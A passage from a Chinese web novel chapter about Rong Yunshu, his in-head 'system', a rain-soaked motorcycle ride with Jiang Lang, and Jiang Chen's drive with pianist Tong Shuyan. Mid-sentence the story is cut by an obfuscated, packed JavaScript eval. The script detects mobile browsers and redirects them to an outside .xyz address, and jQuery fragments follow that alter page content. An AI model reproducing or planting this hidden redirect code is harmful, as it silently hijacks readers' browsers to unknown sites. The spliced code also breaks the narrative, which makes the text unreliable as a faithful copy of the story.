容昀枢站在路边,看着打车软件上显示的“233人排队”提示,觉得自己有点命苦。
[背包被人顺走了,车也打不到,系统你能帮我插队打车吗?]
系统:[抱歉,暂时无法提供这项服务。]
容昀枢:[要你何用。]
系统:[要不,我陪你聊聊天?打发一下等车的时间,说起来,你刚才为什么不坐江琛的车走。]
[不想坐,我的目的就是看一眼童书言,作为病症痊愈的刺激源而已,再演下去收益率太低了,不如回家休息。]
系统没听明白,问:[收益率不高?为什么?刚才你见童书言一面就涨了1%的任务完成度,多接触一会说不定涨更多。]
[不会的,我还没找顾医生看病,进度条不会再涨了。]
容昀枢随口解释一句,决定趁着等待的时间,去停车场找江琅把背包拿回来。
他摸出手机,打了个电话过去,短短三秒钟,对面就接起了电话。
“怎么了?”
听筒中那种熟稔到有些亲密的语气,让容昀枢愣了一下。
江琅难道没看名字,以为是他的朋友?
“是我,容昀枢。”
“我知道。怎么了?”
容昀枢:“我的背包在你那?你在哪?我过去拿一下。”
江琅:“你待在刚才那里别动,等我几分钟。”
挂断电话不到一分钟,容昀枢就见黑色重型摩托车拐过弯,停在了他面前。
奇怪,江琅怎么来得这么快?
就算是挂断电话,立刻从停车场过来,也起码要个三五分钟。
“容昀枢。”
容昀枢回过神来,看见江琅单手脱下头盔,左腿支地,这样的姿势让他包裹在黑色骑行裤下的腿显得更加结实且修长。
这人看起来像是头被迫收起利齿的孤狼,容昀枢觉得这样的气质,应该出现在荒野大漠,而不是都市的水泥森林中。
怪不得江琅会放弃江氏集团的继承权,选择成为职业拉力赛车手。
“给你。”
容昀枢伸手,准备接过背包,落在手里的却是一顶头盔。
他眨眨眼睛,一脸茫然,“啊?我的包?”
江琅:“现在打车人多,外面还堵车,我送你。”
“太麻烦你了。”
“不麻烦,毕竟你和我也算是家人。”
总觉得,“家人”两个字江琅说得有点咬牙切齿的,难道他是被迫的来送人的?江琛让他来的?
容昀枢有些犹豫,“是……江琛让你来的?”
“你觉得是就是吧。”
江琅脸上的表情更冷了,直接下车,拿过容昀枢捧在手上的头盔,扣在了他头上。
容昀枢只觉得头上一沉,又听到“咔哒”一声,被江琅拉下了防风面罩。
全包式的头盔,大小正正好,完全是他的尺寸。
“上车。”
江琅的声音,透过头盔后显得更加低沉,总觉得再犹豫下去会被一口咬死。
容昀枢乖乖跟着江琅,坐上了摩托车。
“扶好。”
“啊?”容昀枢没反应过来。
江琅直接拉起他的手,放到自己腰间,“不扶好,半路被甩下去的话,可别怪我。”
蓝色桔梗花被细心绑在了前方,做好准备工作后,江琅合上防风面罩,发动摩托车。
面罩合上之后,无论是摩托车的轰鸣声还是呼啸而过的风声,都变得模糊起来。
江琅只能清晰地听到自己的心跳声,如擂鼓般,几乎震破耳膜。
风很大,可他依然觉得身后传来的清冽香气在鼻尖萦绕不去。
错觉。
对于拉力赛车手来说,在危险的路段,精神高度集中之时产生感官上的幻觉是致命的。
可此时,他享受这种幻觉。如果这是一场梦,他希望永远不要醒来。
他低头看了一眼,扶在自己腰间那只白皙修长的手,用力咬了一下嘴唇。
身后是江琛的恋人,江琛是他的哥哥,不能冒犯,不能逾矩,也不能觊觎。
可为什么不能?江琛不在意的珍宝,别人细心呵护才是理所应当的……
理智和情感反复拉扯,直到雷声响起。
轰隆——
闷雷炸响,眼见着酝酿了许久的雨就要灌下。摩托车刚驶出高架桥,积雨云已压到面前。
江琅抬头看了眼天色,猛地右转拐入小道。
第一滴雨砸碎在落叶上,豆大的雨点接连不断地砸落下来。
“抱紧。”江琅说了一句。
容昀枢还未反应,摩托车突然加速冲进雨幕。
他整个人控制不住地撞上江琅后背,隔着衣服感受到对方绷紧的背肌,像张拉到极致的弓。
雨越来越大。
到达容昀枢居住的老式单元楼楼下时,两人已全身湿透。
“谢谢你送我回来。”容昀枢拿下头盔,递给江琅。
江琅却没接,“就这样?”
容昀枢:“嗯?”
那还要怎样?他不太了解。
江琅几乎被他的迟钝气笑了,“为了送你回家,我淋成这样,雨也没停,你不该请我上去避雨?”
容昀枢认真思考片刻,觉得正常的交往礼仪的确应该如此。
这也不怪他,以往该做什么都有剧本安排。江琅本来也是剧本中的人物,交流方式自然只能按照剧本演。
符合逻辑,不会崩人设。
他看了眼一身狼狈的江琅,“要不,你到我家去换身衣服?”
江琅却又抱着双臂,挑了下眉,“深更半夜的邀请我一个陌生男人上去,江琛不会允许吧?”
容昀枢:“不算陌生吧,你是江琛的弟弟,也算是我的弟弟了。”
江琅嗤笑一声:“弟弟?”
容昀枢:“不,不是吗?”
“是,那,昀枢哥,走吧。”
“你叫我哥?我好像比你小几个月。”
“不然呢?叫你嫂子?”
“嫂子”二字被江琅含在嘴里,颇有些咬牙切齿的意味。
容昀枢觉得自己如果应了,下一秒迎接自己的会是很可怕的事。
他有点怂,点到应道:“哥就哥。”
“走吧,昀,枢,哥。”
江琅抬手拎过容昀枢手中的头盔和背包,脚步一转就往单元楼走去。
容昀枢看着空空如也的双手,想了想,还是把那束被大雨打得凋零的蓝色桔梗花带上了。
这么漂亮的花,他想留下。
***
暴雨打在车窗上,噼里啪啦的,密集的雨点很快模糊了窗外景色。
江琛拿起手机,指尖悬在通话键上方。正准备按下时,他瞥见车窗倒影,意识到车上还有旁人,便发了条消息过去。
江琛:[到家了?]
几分钟过去,那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694897|173408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
总是第一时间回复的头像依然毫无动静。
第二次。
短短一天之内,容昀枢第二次没有及时回信息。
江琛眉头微蹙,心中泛起一丝不悦。
“江琛?”
江琛回过神来,看向童书言,“怎么了?”
童书言:“往前再开几分钟就到博雅了吧,可惜下雨了,我还想看看博雅现在是什么样子了呢,我听唐骏说扩建了新校区,也不知道我们常去的小吃街还在不在。”
“不清楚,很久没去过了。博雅新校区的话,等过段时间校庆,你可以作为成功校友进去看看。”
江琛又瞟了一眼手机,还是没看到回复。
“我算什么成功人士?”
外面的温度骤降,车窗上蒙上了一层薄薄的水雾。
童书言在车窗上画了个微笑熊,“阿琛,你看。”
江琛转头,看到熟悉的图案。
微笑小熊曾是他们之间的暗号,贯穿他和童书言的过去。
江琛从小就被当做继承人培养,最重要的一门课程就是学会控制情绪。他很少笑,也很少生气,几乎没有单纯表达情绪的时候。
唯一的快乐,大概只有童书言来找他的时候。
童书言来找他的时,总是会用各种方式画一个微笑小熊。他们约定只要看到小熊,就先笑一个。
江琛笑了,目露怀念。
即使已经过去将近十年,他的身体依旧牢牢记住这个习惯。
“你也还记得,”童书言语气里带着笑意,“总算是笑了,从刚才起,你心情就不好。”
“没有。”
江琛不觉得自己会因为没收到回复这种无聊理由,影响到情绪。
童书言轻轻锤了一下他的肩,“得了,你瞒得过别人,可瞒不过我,从开始看手机时,你情绪就不太对劲,短短几分钟,你看手机看了起码有七八次了,在等什么重要的人回信息?”
江琛把手机放回口袋,并没有回答,而是说:“听说你这次接受了海城大学的邀请,客座教授,符合博雅邀请成功校友的标准。”
他选择继续之前的话题,礼貌而冷淡,瞬间打破才刚刚升腾的暧昧。
“成功吗?在不相干的人眼中看起来是这样,什么新锐钢琴家,炒作而已。”童书言有些惆怅,叹了口气,“在你看来呢?”
江琛没说话,而是按下了音乐播放键。
悠扬的钢琴曲流淌而出,让车内奇怪的氛围变得轻松些许。
童书言眼睛一亮,“你喜欢这首曲子?”
“嗯,最近常听,比较放松。”
“听到你这句话,带来的成就感比那些什么媒体上的通稿夸奖大多了。”
江琛有些不解:“嗯?”
童书言翘了翘唇:“谢谢江总喜欢我弹的曲子。”
“是昀枢设的歌单,他咖啡店用的也是这个。”江琛语气冷淡,带着几分刻意。
童书言耸了耸肩,“容先生是开咖啡店的啊,真好,我也想过,相比现在辛苦地到处跑来跑去开演奏会,说不定开个清吧,闲暇时弹弹钢琴更幸福,起码不会到现在还孤身一人。”
“你们不一样,他是适合安稳生活的人。”
童书言:“江琛,你想要的,就是这样安稳像白开水一样的未来?”
江琛对上童书言的眼睛,又很快移开,看向窗外的雨幕。
“是。我的未来已经规划好了,安稳,没有意外。”